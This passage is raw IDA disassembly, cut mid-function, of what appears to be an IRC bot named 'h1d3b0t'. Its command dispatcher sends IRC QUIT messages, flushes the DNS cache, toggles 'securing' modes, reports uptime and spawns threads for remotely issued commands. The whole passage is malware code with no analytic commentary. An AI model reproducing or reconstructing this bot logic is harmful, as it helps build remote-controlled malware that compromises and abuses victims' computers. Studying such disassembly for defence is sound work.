		call	sub_41C056
		add	esp, 0Ch


loc_403E7B:				; CODE XREF: sub_401B66+21E4j
					; sub_401B66+2343j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_402418
		push	ebx
		push	edi


loc_403E86:				; CODE XREF: sub_401B66+64A6j
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_406EE2
; ---------------------------------------------------------------------------


loc_403E99:				; CODE XREF: sub_401B66+2341j
		push	32h
		call	dword_428064	; Sleep


loc_403EA1:				; CODE XREF: sub_401B66+22F8j
		cmp	[ebp+var_1808],	ebx
		jz	short loc_403E99
		jmp	short loc_403E7B
; ---------------------------------------------------------------------------


loc_403EAB:				; CODE XREF: sub_401B66+1A0Ej
					; sub_401B66+1A23j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EBE
		push	esi
		call	sub_41BF49
		jmp	short loc_403EC5
; ---------------------------------------------------------------------------


loc_403EBE:				; CODE XREF: sub_401B66+234Ej
		push	0Bh
		call	sub_40B1EE


loc_403EC5:				; CODE XREF: sub_401B66+2356j
		cmp	eax, ebx
		pop	ecx
		jz	loc_40976F
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B8CE
		jmp	loc_4043C0
; ---------------------------------------------------------------------------


loc_403EE5:				; CODE XREF: sub_401B66+19E4j
					; sub_401B66+19F9j
		mov	eax, dword_4CDB80
		cmp	eax, ebx
		jz	short loc_403F08
		call	eax	; DnsFlushResolverCache
		test	eax, eax
		lea	eax, [ebp+var_2C0]
		jz	short loc_403F01
		push	offset unk_42D3C8
		jmp	short loc_403F13
; ---------------------------------------------------------------------------


loc_403F01:				; CODE XREF: sub_401B66+2392j
		push	offset unk_42D39C
		jmp	short loc_403F13
; ---------------------------------------------------------------------------


loc_403F08:				; CODE XREF: sub_401B66+2386j
		push	offset unk_42D370
		lea	eax, [ebp+var_2C0]


loc_403F13:				; CODE XREF: sub_401B66+2399j
					; sub_401B66+23A0j ...
		push	200h
		push	eax
		call	sub_41C150
		jmp	loc_406C98
; ---------------------------------------------------------------------------


loc_403F23:				; CODE XREF: sub_401B66+19BAj
					; sub_401B66+19CFj
		call	sub_40AA3C
		test	eax, eax
		lea	eax, [ebp+var_2C0]
		jz	short loc_403F39
		push	offset unk_42D34C
		jmp	short loc_403F13
; ---------------------------------------------------------------------------


loc_403F39:				; CODE XREF: sub_401B66+23CAj
		push	offset unk_42D320
		jmp	short loc_403F13
; ---------------------------------------------------------------------------


loc_403F40:				; CODE XREF: sub_401B66+1990j
					; sub_401B66+19A5j
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F5F
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42D308
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409982
		add	esp, 14h


loc_403F5F:				; CODE XREF: sub_401B66+23DDj
		push	ebx
		push	[ebp+var_4]
		call	sub_4188B1
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409982
		push	offset dword_42D2EC
		jmp	loc_40428D
; ---------------------------------------------------------------------------


loc_403F81:				; CODE XREF: sub_401B66+183Ej
					; sub_401B66+1853j
		push	0Ah
		call	sub_40B1CF
		test	eax, eax
		pop	ecx
		jle	short loc_403F94
		push	offset unk_42D2C0
		jmp	short loc_403FB5
; ---------------------------------------------------------------------------


loc_403F94:				; CODE XREF: sub_401B66+2425j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A413
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403FB0
		push	offset unk_42D298
		jmp	short loc_403FB5
; ---------------------------------------------------------------------------


loc_403FB0:				; CODE XREF: sub_401B66+2441j
		push	offset unk_42D278


loc_403FB5:				; CODE XREF: sub_401B66+242Cj
					; sub_401B66+2448j ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41C056
		pop	ecx
		pop	ecx


loc_403FC3:				; CODE XREF: sub_401B66+5780j
					; sub_401B66+70CBj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403FE4
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_403FDC:				; CODE XREF: sub_401B66+6D24j
		call	sub_409982
		add	esp, 14h


loc_403FE4:				; CODE XREF: sub_401B66+2460j
					; sub_401B66+267Bj ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4157A5
		jmp	loc_4098F0
; ---------------------------------------------------------------------------


loc_403FF5:				; CODE XREF: sub_401B66+1814j
					; sub_401B66+1829j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A6D9
		jmp	loc_4042AE
; ---------------------------------------------------------------------------


loc_40400E:				; CODE XREF: sub_401B66+17EAj
					; sub_401B66+17FFj
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_417187
		jmp	loc_4042AE
; ---------------------------------------------------------------------------


loc_40402B:				; CODE XREF: sub_401B66+17C0j
					; sub_401B66+17D5j
		or	edi, 0FFFFFFFFh
		call	dword_4280A8	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_404054
		push	esi
		call	sub_41BF49
		pop	ecx
		mov	edi, eax


loc_404054:				; CODE XREF: sub_401B66+24E3j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40406D
		cmp	edi, 0FFFFFFFFh
		jnz	loc_40976F


loc_40406D:				; CODE XREF: sub_401B66+24FCj
		push	ebx
		call	sub_41B05C
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42D260
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409982
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4157A5


loc_4040AA:				; CODE XREF: sub_401B66+5DD7j
		add	esp, 28h
		jmp	loc_40976F
; ---------------------------------------------------------------------------


loc_4040B2:				; CODE XREF: sub_401B66+1796j
					; sub_401B66+17ABj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416028
		lea	eax, [ebp+var_2C0]
		push	offset dword_42D240
		push	eax
		call	sub_41C056


loc_4040D4:				; CODE XREF: sub_401B66+66C6j
		add	esp, 14h
		jmp	loc_406EC5
; ---------------------------------------------------------------------------


loc_4040DC:				; CODE XREF: sub_401B66+176Cj
					; sub_401B66+1781j
		push	27h
		call	sub_40B1CF
		test	eax, eax
		pop	ecx
		jle	short loc_40410D
		cmp	[ebp+var_8], ebx
		jnz	loc_401F9E
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42D220
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409982
		jmp	loc_408C4B
; ---------------------------------------------------------------------------


loc_40410D:				; CODE XREF: sub_401B66+2580j
		push	[ebp+var_88]
		lea	eax, [ebp+var_B28]
		push	80h
		push	eax
		call	sub_41C150
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_B2C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA0], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_A9C], eax
		mov	[ebp+var_AA4], ebx
		jz	short loc_40416E
		push	esi
		push	offset aFull	; "full"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40416E
		mov	[ebp+var_AA4], 1


loc_40416E:				; CODE XREF: sub_401B66+25EBj
					; sub_401B66+25FCj
		lea	eax, [ebp+var_2C0]
		push	offset dword_42D1FC
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	27h
		push	eax
		call	sub_40AF8D
		add	esp, 14h
		mov	[ebp+var_AA8], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B2C]
		push	ebx
		push	eax
		push	offset sub_41A09A
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_AA8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_4041EE
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42D1C0
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		jmp	loc_403FE4
; ---------------------------------------------------------------------------


loc_4041E6:				; CODE XREF: sub_401B66+268Ej
		push	32h
		call	dword_428064	; Sleep


loc_4041EE:				; CODE XREF: sub_401B66+265Ej
		cmp	[ebp+var_A98], ebx
		jz	short loc_4041E6
		jmp	loc_403FE4
; ---------------------------------------------------------------------------


loc_4041FB:				; CODE XREF: sub_401B66+1742j
					; sub_401B66+1757j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40421A
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42D1A4
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409982
		add	esp, 14h


loc_40421A:				; CODE XREF: sub_401B66+2698j
		push	[ebp+arg_4]
		call	dword_4CDCFC	; closesocket
		call	dword_4CDBBC	; WSACleanup
		call	sub_418A34
		push	ebx
		call	dword_428068	; ExitProcess


loc_404235:				; CODE XREF: sub_401B66+1718j
					; sub_401B66+172Dj
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41B1FC
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409982
		push	offset dword_42D188
		jmp	short loc_40428D
; ---------------------------------------------------------------------------


loc_404260:				; CODE XREF: sub_401B66+16EEj
					; sub_401B66+1703j
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41B4B0
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409982
		push	offset dword_42D16C


loc_40428D:				; CODE XREF: sub_401B66+2416j
					; sub_401B66+26F8j
		call	sub_4157A5


loc_404292:				; CODE XREF: sub_401B66+6E2Dj
		add	esp, 18h
		jmp	loc_40976F
; ---------------------------------------------------------------------------


loc_40429A:				; CODE XREF: sub_401B66+16C4j
					; sub_401B66+16D9j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415845


loc_4042AE:				; CODE XREF: sub_401B66+37Bj
					; sub_401B66+24A3j ...
		add	esp, 10h
		jmp	loc_401F9E
; ---------------------------------------------------------------------------


loc_4042B6:				; CODE XREF: sub_401B66+169Aj
					; sub_401B66+16AFj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1590],	bl
		jz	short loc_4042F5
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042F5
		push	esi
		push	[ebp+var_C]
		call	sub_41C0D0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042F5
		push	eax
		push	offset aS_2	; "%s"
		lea	eax, [ebp+var_1590]
		push	80h
		push	eax
		call	sub_41C150
		add	esp, 10h


loc_4042F5:				; CODE XREF: sub_401B66+2759j
					; sub_401B66+2764j ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1610]
		push	80h
		push	eax
		call	sub_41C150
		mov	eax, [ebp+arg_4]
		push	offset dword_42D154
		mov	[ebp+var_1614],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_150C],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1508],	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	25h
		push	eax
		call	sub_40AF8D
		add	esp, 20h
		mov	[ebp+var_1510],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1614]
		push	ebx
		push	eax
		push	offset sub_415886
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_1510]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_404398
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D11C
		jmp	loc_4098EA
; ---------------------------------------------------------------------------


loc_404390:				; CODE XREF: sub_401B66+2838j
		push	32h
		call	dword_428064	; Sleep


loc_404398:				; CODE XREF: sub_401B66+2817j
		cmp	[ebp+var_1504],	ebx
		jz	short loc_404390
		jmp	loc_401F9E
; ---------------------------------------------------------------------------


loc_4043A5:				; CODE XREF: sub_401B66+1670j
					; sub_401B66+1685j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41572D
		push	offset dword_42D104
		call	sub_4157A5


loc_4043C0:				; CODE XREF: sub_401B66+237Aj
		add	esp, 10h
		jmp	loc_40976F
; ---------------------------------------------------------------------------


loc_4043C8:				; CODE XREF: sub_401B66+1646j
					; sub_401B66+165Bj
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC0]
		push	80h
		push	eax
		call	sub_41C150
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B38], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B34], eax
		jz	short loc_404422
		push	offset dword_42D100
		push	esi
		call	sub_41C840
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_B3C], eax
		jmp	short loc_404428
; ---------------------------------------------------------------------------


loc_404422:				; CODE XREF: sub_401B66+28A0j
		mov	[ebp+var_B3C], ebx


loc_404428:				; CODE XREF: sub_401B66+28BAj
		lea	eax, [ebp+var_2C0]
		push	offset dword_42D0E0
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	28h
		push	eax
		call	sub_40AF8D
		add	esp, 14h
		mov	[ebp+var_B40], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC4]
		push	ebx
		push	eax
		push	offset sub_40AFF8
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_B40]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_4044A8
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D0A4


loc_40448C:				; CODE XREF: sub_401B66+7633j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		jmp	loc_406CBC
; ---------------------------------------------------------------------------


loc_4044A0:				; CODE XREF: sub_401B66+2948j
		push	32h
		call	dword_428064	; Sleep


loc_4044A8:				; CODE XREF: sub_401B66+2918j
		cmp	[ebp+var_B30], ebx
		jz	short loc_4044A0
		jmp	loc_406CBC
; ---------------------------------------------------------------------------


loc_4044B5:				; CODE XREF: sub_401B66+15CAj
					; sub_401B66+15DFj
		push	offset aH43yh4ckernt ; "h43yh4ckerNT"
		lea	eax, [ebp+var_2C0]
		push	offset dword_42D08C
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409982
		add	esp, 20h
		jmp	loc_406CBC
; ---------------------------------------------------------------------------


loc_4044EC:				; CODE XREF: sub_401B66+15A0j
					; sub_401B66+15B5j
		push	dword_4CD99C
		call	sub_41B05C
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42D060
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409982
		add	esp, 24h
		jmp	loc_406CBC
; ---------------------------------------------------------------------------


loc_40452A:				; CODE XREF: sub_401B66+1576j
					; sub_401B66+158Bj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40455C
		cmp	[ebp+var_C], ebx
		jz	short loc_40456B
		push	esi
		push	[ebp+var_C]
		call	sub_41C0D0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40456B
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_40993C
		add	esp, 0Ch
		jmp	short loc_40456B
; ---------------------------------------------------------------------------


loc_40455C:				; CODE XREF: sub_401B66+29CDj
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_40993C
		pop	ecx
		pop	ecx


loc_40456B:				; CODE XREF: sub_401B66+29D2j
					; sub_401B66+29E1j ...
		push	0FFFFFFFEh
		pop	eax
		jmp	loc_401FA1
; ---------------------------------------------------------------------------


loc_404573:				; CODE XREF: sub_401B66+154Cj
					; sub_401B66+1561j
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40993C
		push	offset dword_42D010
		call	sub_4157A5
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401FA1
; ---------------------------------------------------------------------------


loc_404595:				; CODE XREF: sub_401B66+1522j
					; sub_401B66+1537j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40993C
		push	offset dword_42CFDC
		call	sub_4157A5
		add	esp, 0Ch
		jmp	loc_4096DB
; ---------------------------------------------------------------------------


loc_4045B4:				; CODE XREF: sub_401B66+14F8j
					; sub_401B66+150Dj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B656
		jmp	loc_404984
; ---------------------------------------------------------------------------


loc_4045CA:				; CODE XREF: sub_401B66+14CEj
					; sub_401B66+14E3j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B602
		jmp	loc_404984
; ---------------------------------------------------------------------------


loc_4045E0:				; CODE XREF: sub_401B66+14A4j
					; sub_401B66+14B9j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B597
		jmp	loc_404984
; ---------------------------------------------------------------------------


loc_4045F6:				; CODE XREF: sub_401B66+147Aj
					; sub_401B66+148Fj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B4C9
		jmp	loc_404984
; ---------------------------------------------------------------------------


loc_40460C:				; CODE XREF: sub_401B66+13D5j
					; sub_401B66+13EAj
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42CFCC
		push	offset dword_42CFBC
		jmp	short loc_404634
; ---------------------------------------------------------------------------


loc_404621:				; CODE XREF: sub_401B66+13ABj
					; sub_401B66+13C0j
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42CFB0
		push	offset dword_42CFA0


loc_404634:				; CODE XREF: sub_401B66+FB0j
					; sub_401B66+1003j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B215
		add	esp, 20h
		jmp	loc_401F9E
; ---------------------------------------------------------------------------


loc_404650:				; CODE XREF: sub_401B66+FC4j
					; sub_401B66+FD9j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_40466F
		push	edi
		call	sub_41BF49
		test	eax, eax
		pop	ecx
		jz	short loc_40466F
		push	edi
		call	sub_41BF49
		pop	ecx
		jmp	short loc_404674
; ---------------------------------------------------------------------------


loc_40466F:				; CODE XREF: sub_401B66+2AF3j
					; sub_401B66+2AFEj
		mov	eax, dword_42A078


loc_404674:				; CODE XREF: sub_401B66+2B07j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_58C], eax
		cmp	esi, ebx
		jz	short loc_404699
		push	esi


loc_404686:				; CODE XREF: sub_401B66+2B42j
		lea	eax, [ebp+var_59C]
		push	10h
		push	eax
		call	sub_41C150
		add	esp, 0Ch
		jmp	short loc_4046B0
; ---------------------------------------------------------------------------


loc_404699:				; CODE XREF: sub_401B66+2B1Dj
		cmp	[ebp+var_8FB], bl
		jz	short loc_4046AA
		lea	eax, [ebp+var_C0]
		push	eax
		jmp	short loc_404686
; ---------------------------------------------------------------------------


loc_4046AA:				; CODE XREF: sub_401B66+2B39j
		mov	[ebp+var_59C], bl


loc_4046B0:				; CODE XREF: sub_401B66+2B31j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_580], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_57C], eax
		lea	eax, [ebp+var_61C]
		push	eax
		mov	[ebp+var_620], esi
		call	sub_41C150
		add	esp, 0Ch
		push	[ebp+var_58C]
		push	esi
		call	sub_40AB14
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42CF78
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	19h
		push	eax
		call	sub_40AF8D
		add	esp, 1Ch
		mov	[ebp+var_588], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_620]
		push	ebx
		push	eax
		push	offset sub_411833
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_588]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_404764
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42CF3C
		jmp	loc_4098EA
; ---------------------------------------------------------------------------


loc_40475C:				; CODE XREF: sub_401B66+2C04j
		push	32h
		call	dword_428064	; Sleep


loc_404764:				; CODE XREF: sub_401B66+2BE3j
		cmp	[ebp+var_578], ebx
		jz	short loc_40475C
		jmp	loc_401F9E
; ---------------------------------------------------------------------------


loc_404771:				; CODE XREF: sub_401B66+F71j
					; sub_401B66+F86j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_404791
		push	esi
		call	sub_41BF49
		test	ax, ax
		pop	ecx
		jz	short loc_404791
		push	esi
		call	sub_41BF49
		pop	ecx
		jmp	short loc_404797
; ---------------------------------------------------------------------------


loc_404791:				; CODE XREF: sub_401B66+2C14j
					; sub_401B66+2C20j
		mov	ax, word_42A084


loc_404797:				; CODE XREF: sub_401B66+2C29j
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_978], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_968], eax
		lea	eax, [ebp+var_9F8]
		push	eax
		mov	[ebp+var_9FC], esi
		mov	[ebp+var_96C], edi
		call	sub_41C150
		movzx	eax, [ebp+var_978]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AB14
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42CF10
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409982
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	6
		push	eax
		call	sub_40AF8D
		add	esp, 30h
		mov	[ebp+var_974], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_9FC]
		push	ebx
		push	eax
		push	offset sub_40EDB1
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_974]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_404869
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CED0
		jmp	loc_4098EA
; ---------------------------------------------------------------------------


loc_404861:				; CODE XREF: sub_401B66+2D09j
		push	32h
		call	dword_428064	; Sleep


loc_404869:				; CODE XREF: sub_401B66+2CE8j
		cmp	[ebp+var_964], ebx
		jz	short loc_404861
		jmp	loc_401F9E
; ---------------------------------------------------------------------------


loc_404876:				; CODE XREF: sub_401B66+F1Dj
					; sub_401B66+F32j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40489E
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C840
		pop	ecx
		mov	[ebp+var_A0C], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_4048A8


loc_40489E:				; CODE XREF: sub_401B66+2D1Fj
		mov	[ebp+var_A0C], 1


loc_4048A8:				; CODE XREF: sub_401B66+2D36j
		push	[ebp+var_88]
		lea	eax, [ebp+var_A90]
		push	80h
		push	eax
		call	sub_41C150
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_A0C], ebx
		mov	[ebp+var_A94], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A08], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_A04], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_4048EF
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_4048EF:				; CODE XREF: sub_401B66+2D82j
		push	eax
		push	offset dword_42CE9C
		lea	eax, [ebp+var_2C0]
		push	200h
		push	eax
		call	sub_41C150
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	22h
		push	eax
		call	sub_40AF8D
		add	esp, 1Ch
		mov	[ebp+var_A10], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A94]
		push	ebx
		push	eax
		push	offset sub_41A5C8
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_A10]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_404966
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42CE60
		jmp	loc_408338
; ---------------------------------------------------------------------------


loc_40495E:				; CODE XREF: sub_401B66+2E06j
		push	32h
		call	dword_428064	; Sleep


loc_404966:				; CODE XREF: sub_401B66+2DE5j
		cmp	[ebp+var_A00], ebx
		jz	short loc_40495E
		jmp	loc_402418
; ---------------------------------------------------------------------------


loc_404973:				; CODE XREF: sub_401B66+EF3j
					; sub_401B66+F08j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41AE7F


loc_404984:				; CODE XREF: sub_401B66+2A5Fj
					; sub_401B66+2A75j ...
		add	esp, 0Ch
		jmp	loc_40976F
; ---------------------------------------------------------------------------


loc_40498C:				; CODE XREF: sub_401B66+EC9j
					; sub_401B66+EDEj
		push	offset unk_42CDB0
		jmp	loc_40621B
; ---------------------------------------------------------------------------


loc_404996:				; CODE XREF: sub_401B66+E9Fj
					; sub_401B66+EB4j
		push	offset aH1d3b0tVersion ; "h1d3b0t Version h4cker"
		push	offset dword_42CD9C
		jmp	loc_406C8C
; ---------------------------------------------------------------------------


loc_4049A5:				; CODE XREF: sub_401B66+E75j
					; sub_401B66+E8Aj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_404A01
		push	esi
		call	sub_41BF49
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4049F6
		cmp	eax, 1
		jge	short loc_4049F6
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		lea	esi, [ecx+edx]
		cmp	[esi], bl
		jz	short loc_4049EB
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42E058
		push	eax
		call	sub_41C056
		mov	[esi], bl
		jmp	loc_405F6A
; ---------------------------------------------------------------------------


loc_4049EB:				; CODE XREF: sub_401B66+2E67j
		push	eax
		push	offset unk_42CD70
		jmp	loc_405F5E
; ---------------------------------------------------------------------------


loc_4049F6:				; CODE XREF: sub_401B66+2E53j
					; sub_401B66+2E58j
		push	eax
		push	offset unk_42CD44
		jmp	loc_405F5E
; ---------------------------------------------------------------------------


loc_404A01:				; CODE XREF: sub_401B66+2E48j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_404A06:				; CODE XREF: sub_401B66+2EBCj
		push	[ebp+var_90]
		push	edi
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404A29
		inc	esi
		add	edi, 80h
		cmp	esi, 1
		jl	short loc_404A06
		jmp	loc_406EC5
; ---------------------------------------------------------------------------


loc_404A29:				; CODE XREF: sub_401B66+2EB0j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset unk_42E058
		jmp	loc_405F5E
; ---------------------------------------------------------------------------


loc_404A43:				; CODE XREF: sub_401B66+E4Bj
					; sub_401B66+E60j
		push	[ebp+var_8C]
		push	offset dword_42DFCC
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403465
		call	sub_40B150
		push	ebx
		call	dword_428068	; ExitProcess


loc_404A69:				; CODE XREF: sub_401B66+1938j
		push	offset aGet	; "get"
		push	esi
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404B0F
		cmp	dword_4D14F4, ebx
		jz	short loc_404A95
		push	offset dword_4D0ED8
		push	offset unk_42CD08
		jmp	loc_404B21
; ---------------------------------------------------------------------------


loc_404A95:				; CODE XREF: sub_401B66+2F1Ej
